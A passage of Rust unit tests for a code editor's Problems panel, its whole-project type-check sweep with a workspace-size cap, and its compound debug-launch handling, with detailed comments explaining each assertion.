    let shared = tmp.path().join("shared.ts");
    let only = tmp.path().join("only.ts");
    std::fs::write(&shared, "export const a = 1;\n").unwrap();
    std::fs::write(&only, "export const b = 2;\n").unwrap();
    let line = |f: &str| format!("{f}(1,1): error TS2322: Type error.\n");

    // Sweep first, then a pane reports the SAME file.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.finish_project_check_for_test(tmp.path(), &line("shared.ts"), "", false);
    assert_eq!(app.status, "Whole-project check: 1 problem");
    app.apply_build_scan(1, Some(tmp.path()), "tsc", &line("shared.ts"));
    app.finish_project_check_for_test(tmp.path(), &line("shared.ts"), "", false);
    assert_eq!(
        app.status, "Whole-project check: 1 problem",
        "the pane's row for the same file is not the sweep's to count"
    );

    // Pane first, then the sweep reports that file AND another.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.apply_build_scan(1, Some(tmp.path()), "tsc", &line("shared.ts"));
    app.finish_project_check_for_test(
        tmp.path(),
        &format!("{}{}", line("shared.ts"), line("only.ts")),
        "",
        false,
    );
    assert_eq!(
        app.status, "Whole-project check: 2 problems",
        "the sweep found two, even though a pane got to one of them first"
    );
}

/// The sweep's status counts ITS OWN findings, not the whole panel (#256).
///
/// `problems.total_count()` is the panel's projection: it mixes in every
/// language server's diagnostics and every pane's build output, and the
/// Open Files scope filters it. Under that scope a sweep whose findings are
/// all in unopened files would have reported "no problems" - defeating the
/// one thing the feature exists to do.
#[cfg(unix)]
#[test]
fn the_project_check_count_is_its_own_not_the_panels() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let swept = tmp.path().join("swept.ts");
    let other = tmp.path().join("other.rs");
    std::fs::write(&swept, "export const x: string = 1;\n").unwrap();
    std::fs::write(&other, "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // An unrelated language-server diagnostic is already in the panel.
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("rust-analyzer"),
        vec![diag(0, 4, DiagnosticSeverity::Error)],
    );
    app.lsp_diagnostics.insert(other.clone(), by_server);

    app.finish_project_check_for_test(
        tmp.path(),
        "swept.ts(1,14): error TS2322: Type 'number' is not assignable.\n",
        "",
        false,
    );
    assert_eq!(
        app.status, "Whole-project check: 1 problem",
        "the sweep found one; the LSP's row is not its to count"
    );
    assert!(
        app.problems.total_count() > 1,
        "staging check: the panel really does hold more than the sweep's row"
    );

    // Under Open Files the panel hides the unopened file - the count must
    // not follow it down, or the sweep reports nothing it just found.
    app.problems.scope = crate::widgets::problems::ProblemScope::OpenFiles;
    app.rebuild_problems();
    app.finish_project_check_for_test(
        tmp.path(),
        "swept.ts(1,14): error TS2322: Type 'number' is not assignable.\n",
        "",
        false,
    );
    assert_eq!(
        app.status, "Whole-project check: 1 problem",
        "the scope filters the PANEL, not what the sweep found"
    );
}

/// The sweep's auto-enable is capped by workspace size, and the setting
/// overrides the cap in both directions (#256, criterion 5).
///
/// `auto` is a size question, so it has to be answered by counting - but
/// counting a giant tree to decide not to walk a giant tree is the cost the
/// cap exists to avoid. `workspace_exceeds` stops at the threshold rather
/// than completing the walk, so the answer costs at most `limit + 1`
/// entries however large the root is.
#[test]
fn the_sweep_auto_enables_only_under_the_file_threshold() {
    let tmp = tempfile::tempdir().unwrap();
    for i in 0..12 {
        std::fs::write(tmp.path().join(format!("f{i}.ts")), "export const x = 1;\n").unwrap();
    }

    // Under the cap: auto enables.
    assert!(
        !App::workspace_exceeds(tmp.path(), 100),
        "12 files is under a cap of 100"
    );

    // The exact boundary, both sides. "Exceeds" means strictly more, so a
    // root holding exactly `limit` files does NOT exceed it - without this
    // pair, `>` and `>=` are indistinguishable and the doc comment's claim
    // is unverified.
    assert!(
        !App::workspace_exceeds(tmp.path(), 12),
        "exactly 12 files does not exceed a cap of 12"
    );
    assert!(
        App::workspace_exceeds(tmp.path(), 11),
        "12 files exceeds a cap of 11"
    );
    assert!(
        App::project_check_auto_enabled(tmp.path(), "auto", 100),
        "auto enables under the cap"
    );

    // Over the cap: auto declines.
    assert!(
        App::workspace_exceeds(tmp.path(), 5),
        "12 files exceeds a cap of 5"
    );
    assert!(
        !App::project_check_auto_enabled(tmp.path(), "auto", 5),
        "auto declines over the cap"
    );

    // The setting overrides the count in BOTH directions - a cap that only
    // ever said no would make `on` meaningless on the roots that need it.
    assert!(
        App::project_check_auto_enabled(tmp.path(), "on", 5),
        "`on` runs on a root the cap would have declined"
    );
    assert!(
        !App::project_check_auto_enabled(tmp.path(), "off", 100),
        "`off` declines a root the cap would have allowed"
    );

    // An unrecognised value reads as `auto` rather than silently enabling a
    // sweep on a monorepo: a typo must not cost more than it saves.
    assert!(
        !App::project_check_auto_enabled(tmp.path(), "definitely-not-a-mode", 5),
        "an unknown setting falls back to auto, which declines here"
    );
    assert!(
        App::project_check_auto_enabled(tmp.path(), "definitely-not-a-mode", 100),
        "and to auto's yes under the cap, not a blanket no"
    );
}

/// A check that warrants no hint does not spend the one-shot (#256).
///
/// The flag was set when a check STARTED, so any run under `on`, `off`, or
/// an under-cap `auto` consumed the only hint opportunity and a later
/// oversized `auto` run stayed silent forever. It is now set where the hint
/// is received, which is the only point that knows one was warranted.
#[cfg(unix)]
#[test]
fn a_check_that_warrants_no_hint_does_not_spend_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // A run that produces no hint: the flag must stay unspent.
    app.queue_project_check_result_for_test(tmp.path(), "", "", true);
    app.sync_explorer_panels();
    assert!(
        !app.project_check_hinted_for_test(),
        "a check with no hint must not consume the one-shot"
    );

    // A later run that DOES warrant one still gets it.
    app.send_project_hint_for_test();
    app.queue_project_check_result_for_test(tmp.path(), "", "", true);
    app.sync_explorer_panels();
    assert!(
        app.status.contains("too large"),
        "the hint the earlier run would have eaten still arrives: {:?}",
        app.status
    );
    assert!(
        app.project_check_hinted_for_test(),
        "and NOW the one-shot is spent"
    );
}

/// The size hint survives a result landing in the same tick (#256).
///
/// Both drains run in one `sync_explorer_panels` body with no paint
/// between them, and the result sets `status` unconditionally. Writing the
/// hint before it DESTROYED the hint rather than deprioritising it - and
/// the hint is one-shot, so it never returned. The fast-failure path (an
/// over-cap root with no compiler installed) is exactly where the checker
/// finishes inside a single tick.
#[cfg(unix)]
#[test]
fn the_size_hint_is_not_erased_by_a_result_in_the_same_tick() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Both messages in flight before ONE drain, which is the race. Driven
    // through `sync_explorer_panels` rather than the direct-drain helper:
    // the hint logic lives in that function, so calling `drain_project_check`
    // itself would test a path the app never takes.
    app.send_project_hint_for_test();
    app.queue_project_check_result_for_test(tmp.path(), "", "", true);
    app.sync_explorer_panels();

    assert!(
        app.status.contains("no problems"),
        "the outcome the user asked for still leads: {:?}",
        app.status
    );
    assert!(
        app.status.contains("too large"),
        "and the one-shot hint survives rather than being overwritten: {:?}",
        app.status
    );
}

/// The cap hints ONCE per session, and only under `auto` (#256).
///
/// The hint is the cap's user-visible half: an explicit sweep still runs on
/// a huge root, but the user is told once that automatic runs will not
/// start. Repeating it every sweep would train them to ignore the status
/// line, and showing it under `on` would contradict the setting they chose.
#[test]
fn the_size_hint_fires_once_and_only_under_auto() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // `on` means run regardless of size, so a size hint would contradict it.
    app.problems_project_scope = String::from("on");
    assert!(
        App::project_check_auto_enabled(tmp.path(), &app.problems_project_scope, 0),
        "`on` runs even against a zero-file cap"
    );

    // `off` never auto-runs, so the size is not the reason - no hint either.
    app.problems_project_scope = String::from("off");
    assert!(!App::project_check_auto_enabled(
        tmp.path(),
        &app.problems_project_scope,
        usize::MAX
    ));

    // Only `auto` makes size the deciding factor. The root needs a file for
    // a cap of 0 to be EXCEEDED - an empty tree does not exceed zero, and
    // asserting against one would have passed for the wrong reason.
    std::fs::write(tmp.path().join("a.ts"), "export const a = 1;\n").unwrap();
    app.problems_project_scope = String::from("auto");
    assert!(
        !App::project_check_auto_enabled(tmp.path(), "auto", 0),
        "auto declines when the root exceeds the cap"
    );
    assert!(
        App::project_check_auto_enabled(tmp.path(), "auto", usize::MAX),
        "and enables under it - the paired case, so the line above cannot \
         pass by the predicate always saying no"
    );

    // Config values are normalised like the sibling pref: a hand-edited
    // "Off " must mean off, not a size-dependent maybe.
    assert_eq!(App::project_scope_mode(" Off "), "off");
    assert_eq!(App::project_scope_mode("ON"), "on");
    assert_eq!(App::project_scope_mode("always"), "on");
    assert_eq!(App::project_scope_mode("never"), "off");
    assert_eq!(
        App::project_scope_mode("wat"),
        "auto",
        "an unknown value is auto, never on"
    );
    assert!(
        !App::project_check_auto_enabled(tmp.path(), " Off ", usize::MAX),
        "a padded, capitalised off is honoured rather than read as auto"
    );
}

/// Counting stops at the threshold instead of walking the whole tree
/// (#256, criterion 5).
///
/// Pinned by making the tree far larger than the cap and asserting the
/// answer arrives anyway: a full walk of a deep tree is the thing the cap
/// is protecting against, so a cap that walks it has already lost.
#[test]
fn the_threshold_check_stops_counting_at_the_limit() {
    let tmp = tempfile::tempdir().unwrap();
    // 500 files against a cap of 3.
    for d in 0..10 {
        let dir = tmp.path().join(format!("d{d}"));
        std::fs::create_dir_all(&dir).unwrap();
        for i in 0..50 {
            std::fs::write(dir.join(format!("f{i}.ts")), "x\n").unwrap();
        }
    }
    assert!(App::workspace_exceeds(tmp.path(), 3), "500 files exceeds 3");

    // Ignored directories do not count toward the cap: node_modules alone
    // would put every JS project over it, which would disable the sweep for
    // exactly the projects the feature is for.
    let clean = tempfile::tempdir().unwrap();
    let heavy = clean.path().join("node_modules").join("pkg");
    std::fs::create_dir_all(&heavy).unwrap();
    for i in 0..200 {
        std::fs::write(heavy.join(format!("m{i}.js")), "x\n").unwrap();
    }
    std::fs::write(clean.path().join("a.ts"), "export const a = 1;\n").unwrap();
    assert!(
        !App::workspace_exceeds(clean.path(), 10),
        "node_modules is not the user's code and must not trip the cap"
    );
}

/// "Problems: Check Whole Project" puts a whole-project checker's findings
/// into PROBLEMS for files nobody opened, and a re-run REPLACES them (#256).
///
/// Replacement is the half worth pinning. A checker that reports two errors
/// and then one after a fix must leave one row, not three: the panel is a
/// current state, and a stale row sends the reader to a line that is now
/// correct. `apply_build_scan` already owns that semantics per producer, so
/// the project check gets its own producer id rather than borrowing a
/// pane's: a pane's next command would otherwise wipe the sweep's rows, and
/// the sweep would wipe the pane's.
#[test]
fn a_project_check_reports_unopened_files_and_replaces_on_rerun() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.ts");
    let b = tmp.path().join("b.ts");
    std::fs::write(&a, "export const x: string = 1;\n").unwrap();
    std::fs::write(&b, "export const y: string = 2;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Neither file is opened: the sweep is exactly for files with no buffer.
    assert!(app.editor.path.is_none(), "no file is open");

    // Two errors, in tsc's parenthesised form.
    app.ingest_project_check(
        None,
        "a.ts(1,14): error TS2322: Type 'number' is not assignable to type 'string'.\n\
         b.ts(1,14): error TS2322: Type 'number' is not assignable to type 'string'.\n",
    );
    app.rebuild_problems();
    let paths: Vec<_> = app
        .problems
        .groups()
        .iter()
        .map(|g| g.path.clone())
        .collect();
    assert!(
        paths.contains(&a) && paths.contains(&b),
        "both unopened files must reach PROBLEMS, got {paths:?}"
    );

    // The user fixes b.ts and re-runs: one row, not three.
    app.ingest_project_check(
        None,
        "a.ts(1,14): error TS2322: Type 'number' is not assignable to type 'string'.\n",
    );
    app.rebuild_problems();
    let paths: Vec<_> = app
        .problems
        .groups()
        .iter()
        .map(|g| g.path.clone())
        .collect();
    assert!(
        paths.contains(&a),
        "the still-broken file keeps its row, got {paths:?}"
    );
    assert!(
        !paths.contains(&b),
        "a re-run REPLACES the previous sweep: the fixed file's row must go, \
         got {paths:?}"
    );

    // A pane's own build output must not wipe the sweep, which is why the
    // sweep does not borrow a pane id. Pane 1 reports on its own file.
    let c = tmp.path().join("c.ts");
    std::fs::write(&c, "export const z = 3;\n").unwrap();
    app.apply_build_scan(
        1,
        Some(tmp.path()),
        "tsc",
        "c.ts(1,1): error TS1005: ';' expected.\n",
    );
    app.rebuild_problems();
    let paths: Vec<_> = app
        .problems
        .groups()
        .iter()
        .map(|g| g.path.clone())
        .collect();
    assert!(
        paths.contains(&a) && paths.contains(&c),
        "a pane's build output and the project sweep coexist, got {paths:?}"
    );
}

/// #256 step 1: a server that publishes project-wide diagnostics (rust-analyzer
/// does this from `cargo check`) names files the user never opened. The panel
/// builds from the diagnostics store rather than from open buffers, so those
/// rows DO appear — this pins that half, which the issue lists as unverified.
#[test]
fn problems_shows_diagnostics_for_a_file_that_was_never_opened() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let opened = tmp.path().join("opened.rs");
    let never = tmp.path().join("never_opened.rs");
    std::fs::write(&opened, "fn main() {}\n").unwrap();
    std::fs::write(&never, "fn helper() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&opened).unwrap();

    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("rust-analyzer"),
        vec![diag(0, 4, DiagnosticSeverity::Error)],
    );
    app.lsp_diagnostics.insert(never.clone(), by_server);
    app.rebuild_problems();

    let paths: Vec<_> = app.problems.groups().iter().map(|g| &g.path).collect();
    assert!(
        paths.contains(&&never),
        "a diagnostic for an unopened file must still reach PROBLEMS"
    );
}

/// #256: the scope toggle changes which files the panel lists, and the badge
/// counts the same list — both read one projection, so they cannot disagree.
#[test]
fn problems_scope_toggle_filters_unopened_files_and_the_badge_follows() {
    use crate::lsp::manager::DiagnosticSeverity;
    use crate::widgets::problems::ProblemScope;
    let tmp = tempfile::tempdir().unwrap();
    let opened = tmp.path().join("opened.rs");
    let never = tmp.path().join("never_opened.rs");
    std::fs::write(&opened, "fn main() {}\n").unwrap();
    std::fs::write(&never, "fn helper() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&opened).unwrap();

    for p in [&opened, &never] {
        let mut by_server = std::collections::HashMap::new();
        by_server.insert(
            String::from("rust-analyzer"),
            vec![diag(0, 4, DiagnosticSeverity::Error)],
        );
        app.lsp_diagnostics.insert(p.clone(), by_server);
    }

    app.problems.scope = ProblemScope::WholeProject;
    app.rebuild_problems();
    assert_eq!(
        app.problems.groups().len(),
        2,
        "whole project lists the unopened file too"
    );
    let whole_count = app.problems.total_count();

    app.problems.scope = ProblemScope::OpenFiles;
    app.rebuild_problems();
    let paths: Vec<_> = app.problems.groups().iter().map(|g| &g.path).collect();
    assert_eq!(paths, vec![&opened], "open files drops the unopened one");
    assert!(
        app.problems.total_count() < whole_count,
        "the badge counts the same filtered list"
    );
}

/// #296 review: Open Files scope filters on the open-buffer set, so the panel
/// must refresh when that set changes — not only when diagnostics do.
/// Previously `rebuild_problems` ran on diagnostic events alone, so opening a
/// file that already had stored diagnostics showed NOTHING until some
/// unrelated churn happened to trigger a rebuild.
#[test]
fn opening_a_file_refreshes_a_scoped_problems_panel() {
    use crate::lsp::manager::DiagnosticSeverity;
    use crate::widgets::problems::ProblemScope;
    let tmp = tempfile::tempdir().unwrap();
    let later = tmp.path().join("later.rs");
    std::fs::write(&later, "fn helper() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.problems.scope = ProblemScope::OpenFiles;

    // A diagnostic arrives for a file that is not open yet.
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("rust-analyzer"),
        vec![diag(0, 4, DiagnosticSeverity::Error)],
    );
    app.lsp_diagnostics.insert(later.clone(), by_server);
    app.rebuild_problems();
    assert!(
        app.problems.groups().is_empty(),
        "not open yet, so Open Files scope hides it"
    );

    // Opening it must bring the row in WITHOUT any new diagnostic push.
    app.editor.open_pinned(&later).unwrap();
    app.sync_lsp();
    let paths: Vec<_> = app.problems.groups().iter().map(|g| &g.path).collect();
    assert!(
        paths.contains(&&later),
        "opening the file refreshes the scoped panel"
    );
}

/// The config token round-trips: writing a scope back and reading it must
/// yield the same scope. `label()` is display text, so using it here would
/// produce a value `from_config` only accepts by accident.
#[test]
fn problem_scope_config_tokens_round_trip() {
    use crate::widgets::problems::ProblemScope;
    for scope in [ProblemScope::OpenFiles, ProblemScope::WholeProject] {
        assert_eq!(
            ProblemScope::from_config(scope.to_config()),
            scope,
            "{} must survive a save/load cycle",
            scope.to_config()
        );
    }
    // The palette label pasted into a config is understood, not silently
    // treated as an unrecognised value.
    assert_eq!(
        ProblemScope::from_config("Open Files"),
        ProblemScope::OpenFiles
    );
    // Anything genuinely unrecognised shows more rather than hiding rows.
    assert_eq!(
        ProblemScope::from_config("nonsense"),
        ProblemScope::WholeProject
    );
}

/// "N of M started" must count sessions, not call sites.
///
/// `launch_resolved_into_set` returns `()` on every validation, spawn and
/// attach failure, so the member launcher reported `Launched` unconditionally
/// and the summary counted members that never started. CI caught the extreme
/// form of it on a runner with no Python adapter: "2 session(s), showing ?"
/// over an entirely empty set.
///
/// The assertion is the INVARIANT, not a number: a session exists for each
/// one the report claims. A literal count would only restate whichever host
/// ran it - this Mac starts the good member, CI starts nothing.
#[test]
fn a_member_that_fails_to_start_is_not_counted_as_started() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    // `Broken` names an adapter croft cannot resolve, so it can never start
    // on any host; `Server` starts wherever debugpy exists.
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch", "program": "s.py" },
            { "name": "Broken", "type": "no-such-debugger", "request": "launch", "program": "b.py" }
        ],
        "compounds": [
            { "name": "Mixed", "configurations": ["Server", "Broken"] }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.open_debug_config_picker();
    let row = app
        .list_picker
        .as_ref()
        .unwrap()
        .rows
        .iter()
        .position(|r| r.label.starts_with("Mixed"))
        .expect("the compound is listed");
    app.list_picker.as_mut().unwrap().selected = row;
    app.confirm_list_picker();

    let live = app.debug_sessions.names();
    assert!(
        !live.contains(&"Broken".to_string()),
        "the unresolvable member never joins the set: {live:?}"
    );
    let reported = app
        .run_debug
        .feedback
        .clone()
        .unwrap_or_else(|| app.status.clone());
    if live.is_empty() {
        assert!(
            reported.contains("started no sessions"),
            "an empty set is reported as empty, never as live sessions: {reported}"
        );
    } else {
        assert!(
            reported.contains(&format!("{} of 2", live.len())),
            "the count names the sessions that exist ({}), not the members attempted: {reported}",
            live.len()
        );
    }
    assert!(
        !reported.contains("showing ?"),
        "no session is described that cannot be named: {reported}"
    );
}

/// A member croft declines to start must be NAMED where the user will see it.
///
/// `launch_compound_members` builds that line into `run_debug.feedback`, and
/// it is the only place the skipped member's name appears - `status` carries
/// the compound and a count, never which member is missing. `reveal_debug_view`
/// runs `refresh_run_debug`, which clears `feedback`, so calling it AFTER the
/// assignment wiped the line before it could be drawn and the compound ran
/// fewer sessions than asked for with nothing said about it.
///
/// The assertion is on the member's NAME in the surviving feedback. Asserting
/// `feedback.is_some()` would pass on the all-started line too, which names no
/// skipped member and is exactly the case this must distinguish from.
#[test]
fn a_compound_member_skipped_for_its_own_task_is_named_in_the_feedback() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    // `Client` declares its own preLaunchTask, so croft refuses to debug it
    // against whatever the last build left behind. `Server` has none and runs.
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch", "program": "s.py" },
            { "name": "Client", "type": "python", "request": "launch", "program": "c.py",
              "preLaunchTask": "build-client" }
        ],
        "compounds": [
            { "name": "Pair", "configurations": ["Server", "Client"] }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.open_debug_config_picker();
    let row = app
        .list_picker
        .as_ref()
        .unwrap()
        .rows
        .iter()
        .position(|r| r.label.starts_with("Pair"))
        .expect("the compound is listed");
    app.list_picker.as_mut().unwrap().selected = row;
    app.confirm_list_picker();

    // Whether `Server` can START depends on the host's adapters - CI has none
    // and this Mac does - but the SKIP is decided at parse time and happens
    // either way. So the naming is what this pins, and it reads whichever
    // field carries the report on this path.
    let reported = app
        .run_debug
        .feedback
        .clone()
        .unwrap_or_else(|| app.status.clone());
    assert!(
        reported.contains("Client"),
        "the skipped member is named: {reported}"
    );
    assert!(
        reported.contains("preLaunchTask"),
        "and why it was skipped: {reported}"
    );
    // The control for the assertions above: `Client` is never in the running
    // set, so `contains("Client")` above is not passing on a line that merely
    // lists every configuration in the file.
    assert!(
        !app.debug_sessions.names().contains(&"Client".to_string()),
        "the skipped member is not running: {:?}",
        app.debug_sessions.names()
    );
}

/// #310 defers compounds that need SEVERAL debug sessions at once. A compound
/// naming ONE configuration needs exactly one session, which croft has run
/// since #250 — so refusing it cites a limitation that does not apply and
/// tells the user something false about their own launch.json.
///
/// `parse_compounds` rejects only an EMPTY member list, so a one-member
/// compound parses and reaches the launch site, where the `Ok(_)` arm reports
/// the #310 message without ever consulting `configurations.len()`. This is a
/// relocated-decision leftover: the member list is resolved, then the arm that
/// consumes it answers a question about session count without reading it.
#[test]
fn a_single_member_compound_launches_rather_than_citing_the_multi_session_limit() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch", "program": "s.py" },
            { "name": "Client", "type": "python", "request": "launch", "program": "c.py" }
        ],
        "compounds": [
            { "name": "Just Server", "configurations": ["Server"] },
            { "name": "Both", "configurations": ["Server", "Client"] },
            { "name": "Tasked", "configurations": ["Server"], "preLaunchTask": "build" }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.open_debug_config_picker();
    let idx = app
        .list_picker
        .as_ref()
        .expect("picker open")
        .rows
        .iter()
        .position(|r| r.label.starts_with("Just Server"))
        .expect("the one-member compound is listed");
    app.list_picker.as_mut().unwrap().selected = idx;
    app.confirm_list_picker();

    assert!(
        !app.status.contains("#310"),
        "a one-member compound needs ONE session, so the multi-session \
         deferral does not apply to it: {}",
        app.status
    );
    // #567: it selects the COMPOUND, not its member. Selecting the member
    // made F5 relaunch the bare configuration, skipping anything the compound
    // itself declares (its preLaunchTask).
    assert_eq!(app.selected_debug_compound.as_deref(), Some("Just Server"));
    assert_eq!(app.selected_debug_config, None);
    // The selection is assigned BEFORE the launch, which has several
    // early-return error paths — so the assertion above proves only that the
    // launch BRANCH was reached. Assert the launch was not refused.
    // The launch reached a real adapter, so what it does next depends on the
    // machine: the GitHub runner has no `uv`, and "Debugger setup failed:
    // running `uv venv`" is a true report about that box, not this fix
    // regressing. Assert what the fix actually claims - that the refusal is
    // not the #310 deferral - rather than that nothing went wrong at all,
    // which made the test a statement about the environment.
    if let Some(feedback) = app.run_debug.feedback.as_deref() {
        assert!(
            !feedback.contains("#310") && !feedback.contains("several debug sessions"),
            "a one-member compound must not be refused for needing several \
             sessions; any other environment-dependent failure is not this \
             test's business: {feedback}"
        );
    }

    // The guard that used to hold this line: a multi-member compound was
    // DEFERRED and named #310. It launches now, which is what #310 built, so
    // the guard becomes the positive one - the same picker row starts every
    // member rather than one of them.
    app.open_debug_config_picker();
    let multi = app
        .list_picker
        .as_ref()
        .unwrap()
        .rows
        .iter()
        .position(|r| r.label.starts_with("Both"))
        .expect("the two-member compound is listed");
    app.list_picker.as_mut().unwrap().selected = multi;
    app.confirm_list_picker();
    // Asserting the ABSENCE of the old message proves nothing - any refusal
    // omits it, and so does an empty status. Pin the OUTCOME: both members
    // are running, in file order, with the first focused.
    //
    // Not a disjunction over "started no sessions". That arm is satisfied by
    // the zero-session early return, so it passed without ever constraining
    // the count - and the premise behind it ("no adapter is installed, so
    // every member fails to start") is simply false here: the compound really
    // does launch two sessions on this host.
    // The REPORT must agree with the SET, whatever the host can start. CI has
    // no Python adapter and starts zero; this Mac has debugpy and starts two.
    // Pinning either number makes the test a statement about the runner, so
    // pin the invariant that was actually broken: the count came from the
    // number of members attempted rather than from the sessions that exist,
    // and said "2 session(s), showing ?" over an empty set.
    let live = app.debug_sessions.names();
    if live.is_empty() {
        assert!(
            app.status.contains("started no sessions"),
            "no adapter: the compound says so rather than claiming sessions: {}",
            app.status
        );
    } else {
        assert_eq!(
            live,
            vec!["Server", "Client"],
            "with an adapter, both members run in launch.json order: {}",
            app.status
        );
        assert_eq!(
            app.debug_sessions.focused_name(),
            Some("Server"),
            "the FIRST member takes focus"
        );
        assert!(
            app.status.contains(&format!("{} session(s)", live.len())),
            "the count names the sessions that exist: {}",
            app.status
        );
        assert!(
            !app.status.contains("showing ?"),
            "and the focused session is identified: {}",
            app.status
        );
    }
    assert!(
        !app.status.contains("#310"),
        "and no longer defers to the session limit: {}",
        app.status
    );

    // #318: a compound's own `preLaunchTask` is now RUN rather than refused.
    // This workspace declares no tasks at all, so the compound naming one is
    // an error that says which task is missing — the same contract a config's
    // own task gets, because the user cannot tell the two apart from outside.
    //
    // On a FRESH app: the launches above leave a live session, and
    // `debug_error` does not clear one, so asserting `is_none()` on this app
    // would be answered by the earlier launch rather than by this path.
    let mut fresh = App::new(tmp.path().to_path_buf()).unwrap();
    fresh.open_debug_config_picker();
    let tasked = fresh
        .list_picker
        .as_ref()
        .expect("picker open")
        .rows
        .iter()
        .position(|r| r.label.starts_with("Tasked"))
        .expect("the task-carrying compound is listed");
    fresh.list_picker.as_mut().unwrap().selected = tasked;
    fresh.confirm_list_picker();
    assert!(
        fresh.status.contains("\"build\" not found"),
        "the error names the task the file asked for, so the user can declare \
         it rather than guessing: {}",
        fresh.status
    );
    assert!(
        !fresh.status.contains("#318"),
        "and it no longer cites the unbuilt-feature issue: croft honours this \
         key now, so naming #318 would report a limitation it does not have: {}",
        fresh.status
    );
    assert!(
        fresh.pending_debug_launch.is_none(),
        "nothing parked behind a task that does not exist"
    );
    assert!(
        fresh.debug_sessions.is_empty(),
        "and nothing launched — starting the member anyway would debug stale \
         artifacts, which is what running the task exists to prevent"
    );
}

/// #318: a compound's own `preLaunchTask` runs before its member starts, and
/// the launch waits for it — the same contract a configuration's own task has.
///
/// The distinguishing assertion is the PARK. A compound that simply launched
/// its member would leave `pending_debug_launch` empty and a session starting;
/// one that refused would report an error and do nothing. Parked-with-no-error
/// is the state that only "the task is running, the debugger is waiting for
/// it" produces.
#[test]
fn a_compounds_own_pre_launch_task_runs_before_its_member_starts() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/tasks.json"),
        r#"{ "version": "2.0.0", "tasks": [
            { "label": "build", "type": "shell", "command": "true" }
        ]}"#,
    )
    .unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch", "program": "s.py" },
            { "name": "Client", "type": "python", "request": "launch", "program": "c.py" }
        ],
        "compounds": [
            { "name": "Tasked", "configurations": ["Server"], "preLaunchTask": "build" },
            { "name": "Presented", "configurations": ["Server"],
              "presentation": { "hidden": "true" } },
            { "name": "PresentedPair", "configurations": ["Server", "Client"],
              "presentation": { "hidden": "true" } }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    let select = |app: &mut App, label: &str| {
        app.open_debug_config_picker();
        let idx = app
            .list_picker
            .as_ref()
            .expect("picker open")
            .rows
            .iter()
            .position(|r| r.label.starts_with(label))
            .unwrap_or_else(|| panic!("{label} is listed"));
        app.list_picker.as_mut().unwrap().selected = idx;
        app.confirm_list_picker();
    };

    select(&mut app, "Tasked");
    assert!(
        app.pending_debug_launch.is_some(),
        "the launch waits behind the compound's task rather than starting \
         alongside it: status was {:?}",
        app.status
    );
    assert!(
        !app.run_debug.feedback_is_error,
        "and this is progress, not a refusal: {:?}",
        app.run_debug.feedback
    );
    assert!(
        app.status.contains("build") && app.status.contains("exits 0"),
        "the status names the task and the condition the launch waits on: {}",
        app.status
    );
    assert!(
        app.debug_sessions.is_empty(),
        "nothing has been debugged yet — that is the whole point of the wait"
    );

    // The guard that must stay GREEN: honouring one key must not be
    // satisfiable by launching everything. Since #318 finished, `hidden`,
    // `group` and `order` are all honoured, so the only shapes left to carry
    // this guard are the MALFORMED ones. `{"hidden": "true"}` is the likely
    // typo: a quoted bool croft cannot read, which must refuse rather than
    // launch unhidden in silence.
    let mut fresh = App::new(tmp.path().to_path_buf()).unwrap();
    select(&mut fresh, "Presented");
    assert!(
        fresh.run_debug.feedback_is_error,
        "presentation is still not honoured, so it still refuses: {:?}",
        fresh.run_debug.feedback
    );
    // The message names the SUB-KEY, not `presentation` (#318). That is the
    // point of the split: a compound may declare a working `group` beside a
    // malformed `hidden`, so telling the user that "presentation" is
    // unsupported would send them deleting a line that works.
    assert!(
        fresh.status.contains("presentation.hidden"),
        "and names the key it cannot read: {}",
        fresh.status
    );
    // The BARE parent would overstate it, for the same reason. The qualified
    // path is what they can find in the file, so the check is that
    // `presentation` never appears WITHOUT its sub-key.
    assert!(
        !fresh
            .status
            .replace("presentation.hidden", "")
            .contains("presentation"),
        "the parent is named only as part of the qualified path: {}",
        fresh.status
    );
    assert!(
        !fresh.status.contains("preLaunchTask"),
